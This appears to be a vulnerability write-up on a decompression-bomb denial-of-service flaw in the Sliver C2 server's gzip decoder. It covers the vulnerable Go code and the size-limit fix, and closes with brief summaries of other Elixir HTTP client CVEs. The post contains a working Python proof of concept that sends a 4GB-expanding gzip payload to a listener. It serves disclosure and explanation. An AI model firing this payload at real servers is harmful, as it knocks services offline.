Feb 25, 2026·6 min read·18 visits
Sliver C2 servers prior to v1.7.2 are vulnerable to a Zip Bomb attack. An unauthenticated attacker can send a tiny Gzip payload to the HTTP listener, which expands in memory without limits, triggering an Out-of-Memory (OOM) crash and killing the operation.
A high-severity Denial of Service (DoS) vulnerability exists in the BishopFox Sliver C2 framework. The vulnerability, caused by uncontrolled resource consumption in the Gzip decompression logic, allows an unauthenticated attacker to crash the Sliver server by sending a 'Zip Bomb'—a small, highly compressed payload that expands into gigabytes of data in memory.
BishopFox's Sliver is the darling of the modern red team arsenal. As Cobalt Strike licenses get harder to acquire (or crack) and detection signatures proliferate, operators have flocked to this open-source Golang beast. It’s robust, it’s cross-platform, and it handles C2 traffic like a champ. But here's the irony: the very tool used to exploit vulnerabilities in enterprise infrastructure had a gaping hole in its own front door.
This isn't a complex buffer overflow or a heap grooming nightmare. This is a logic flaw as old as the internet itself: the Zip Bomb.
When a C2 server listens for incoming HTTP traffic, it often needs to handle compressed data to keep beacons stealthy and efficient. But what happens when the server blindly trusts that the incoming compressed stream is well-behaved? GHSA-2phg-qgmm-r638 answers that question with a resounding crash. It turns out, you can take down a sophisticated adversary emulation server with a few kilobytes of zeros.
The vulnerability lived in the GzipEncoder component of the HTTP C2 listener. Specifically, the Gzip.Decode method in util/encoders/gzip.go was designed to take an incoming byte slice, spin up a Gzip reader, and spit out the decompressed data.
In Go, the standard library provides excellent tools for this, but they require the developer to implement guardrails. The Sliver code looked something like this:
func (g Gzip) Decode(data []byte) ([]byte, error) {
reader, err := gzip.NewReader(bytes.NewReader(data))
// ... error handling ...
var buf bytes.Buffer
_, err = buf.ReadFrom(reader) // <--- HERE BE DRAGONS
// ...
return buf.Bytes(), nil
}Do you see the problem? buf.ReadFrom(reader) is an eager little beaver. It reads from the source until it hits EOF. It doesn't care if the source is 1KB or 100GB. It just keeps allocating memory to buf to accommodate the decompressed stream.
This is the classic definition of CWE-409 (Improper Handling of Highly Compressed Data). Gzip, utilizing the DEFLATE algorithm, can achieve massive compression ratios on repetitive data (like a stream of null bytes). A 10MB upload can easily become 10GB in RAM. Since Go manages memory automatically, it will happily request more and more from the OS until the OS panics and the OOM (Out Of Memory) Killer assassinates the Sliver process.
The fix, landed in commit 0cf5a47cfdf94b6ab481ec3ea0db09f31654c0f0, is a textbook example of defense-in-depth for IO operations. The developers introduced a LimitedDecoder interface and enforced strict size limits on the output buffer.
Here is the essence of the patch. Instead of reading blindly, they wrapped the reader in io.LimitedReader:
// The Fix: Enforcing limits
limitedReader := &io.LimitedReader{
R: reader,
N: maxLen + 1, // Read one byte past the limit to detect overflow
}
_, err = buf.ReadFrom(limitedReader)
// Check if we hit the limit
if limitedReader.N == 0 {
return nil, fmt.Errorf("gzip decoded payload exceeds %d bytes", maxLen)
}They didn't just slap a hard limit on everything, though. They implemented tiered limits in server/c2/http.go:
DefaultMaxUnauthBodyLength (8MB). This applies to the initial handshake or unknown sessions. If you can't prove who you are, you don't get to allocate more than 8MB of RAM.DefaultMaxBodyLength (2GB). Once a session is established and trusted, the server allows larger payloads (likely for exfiltration or tooling uploads).This change effectively neutralizes the attack vector. An attacker trying to send a zip bomb without a valid session cookie will hit the 8MB wall and get dropped.
Exploiting this is delightfully simple. We don't need shellcode, we don't need ROP chains, and we don't need to bypass ASLR. We just need python and a lot of zeros.
The goal is to create a Gzip payload that is small enough to travel over the network quickly but large enough to exhaust the target server's RAM. A standard recursive "42.zip" isn't necessary here; a single flat stream of zeros compresses incredibly well.
Here is a conceptual Python PoC that would have killed a vulnerable server:
import gzip
import requests
import io
# 1. Create a buffer that expands to 4GB of zeros
# In memory, this is huge. On wire (compressed), it's tiny.
uncompressed_size = 4 * 1024 * 1024 * 1024 # 4GB
# We don't actually need to allocate 4GB in Python to create the zip.
# We can stream it or just compress a chunk of zeros with a high repeat count.
# For simplicity, let's just make a "bomb" string.
# A string of '0' * 1GB compresses to roughly ~1MB.
def generate_bomb():
# Create a dummy stream
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode='wb') as f:
# Write chunks of zeros
chunk = b'\0' * (1024 * 1024) # 1MB chunk
for _ in range(1024 * 4): # 4096 chunks = 4GB
f.write(chunk)
return buf.getvalue()
payload = generate_bomb()
print(f"Payload size on wire: {len(payload) / 1024 / 1024:.2f} MB")
# 2. Fire it at the Sliver HTTP listener
target = "http://<sliver-ip>:<port>/<any-endpoint>"
headers = {
"Content-Encoding": "gzip",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
}
try:
# The server tries to decompress this 4GB blob into RAM.
requests.post(target, data=payload, headers=headers, timeout=10)
except:
print("Request failed... possibly because the server is dead.")When the Sliver server receives this ~4MB payload, the Gzip.Decode function begins inflating it. The Go runtime asks the OS for 1GB, then 2GB, then 3GB... until the host OS realizes it's out of physical memory and kills the process with the highest consumption: Sliver.
Usually, we talk about the impact on the business. Here, the "business" is a red team operation. If a blue teamer (or a rival threat actor) discovers a Sliver C2 node, they can nuke it instantly.
This is a Denial of Service, but in the context of C2, it's an Operational Kill.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Sliver BishopFox | < 1.7.2 | 1.7.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-409 (Improper Handling of Highly Compressed Data) |
| Attack Vector | Network (HTTP/HTTPS) |
| CVSS | 7.5 (High) |
| Impact | Denial of Service (DoS) |
| Exploit Status | Trivial / PoC Available |
| Authentication | None (Unauthenticated) |
CVE-2026-48861 is a client-side HTTP request-line CRLF (Carriage Return Line Feed) injection vulnerability in the popular Elixir HTTP client library, Mint. The vulnerability permits HTTP Request Splitting and HTTP Request Smuggling when an application forwards untrusted, attacker-controlled inputs to Mint's HTTP client requests as either the HTTP request method or target. By embedding CRLF characters within these parameters, an attacker can terminate the request line prematurely, inject malicious headers, or pipeline entirely independent requests. These smuggled requests are then processed by upstream or downstream proxy servers as separate HTTP queries on the same TCP connection. While Mint version 1.7.0 introduced target validation to secure the request target, the HTTP request method parameter remained completely unvalidated. This flaw allows attackers to bypass routing filters, access restricted internal APIs, or poison HTTP caches under default configurations.
An Inconsistent Interpretation of HTTP Requests (HTTP Request/Response Smuggling) vulnerability in the Elixir Mint HTTP client allows attacker-controlled HTTP/1 servers to desynchronize response framing on shared connections due to over-lenient parsing of sign-prefixed Content-Length headers.
An allocation of resources without limits or throttling vulnerability in Elixir Mint allows an attacker-controlled HTTP/2 server to exhaust memory in a Mint client. The vulnerability is exploited by sending a HEADERS frame without the END_HEADERS flag followed by an infinite stream of CONTINUATION frames. Because the client lacks limits on the incoming header-block accumulator, the client continuously consumes memory until an out-of-memory crash occurs.
CVE-2026-48596 is an Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting, CWE-113) in the Elixir Tesla HTTP client. The flaw resides in how multipart content-type parameters are joined and serialized, enabling attackers to inject arbitrary headers or split HTTP requests when applications pass untrusted inputs to the parameters of multipart uploads.
An improper handling of highly compressed data (decompression bomb) vulnerability exists in the Elixir Tesla HTTP client when utilizing response decompression middlewares. By serving highly compressed responses or stacked content-encoding headers, a malicious server can cause arbitrary heap exhaustion, leading to a denial of service (DoS) crash in the BEAM virtual machine.
A high-severity security vulnerability in Elixir's Tesla HTTP client library (CVE-2026-48595) allows unauthenticated remote attackers to harvest sensitive credentials, including Authorization headers and cookies. The flaw resides in the 'Tesla.Middleware.FollowRedirects' component, which performs case-sensitive lookups when stripping credentials during cross-origin redirects. Because HTTP headers are case-insensitive by RFC specifications, standard canonical casing (e.g., 'Authorization') bypasses the lowercase-only blocklist, leaking tokens to untrusted external redirect destinations.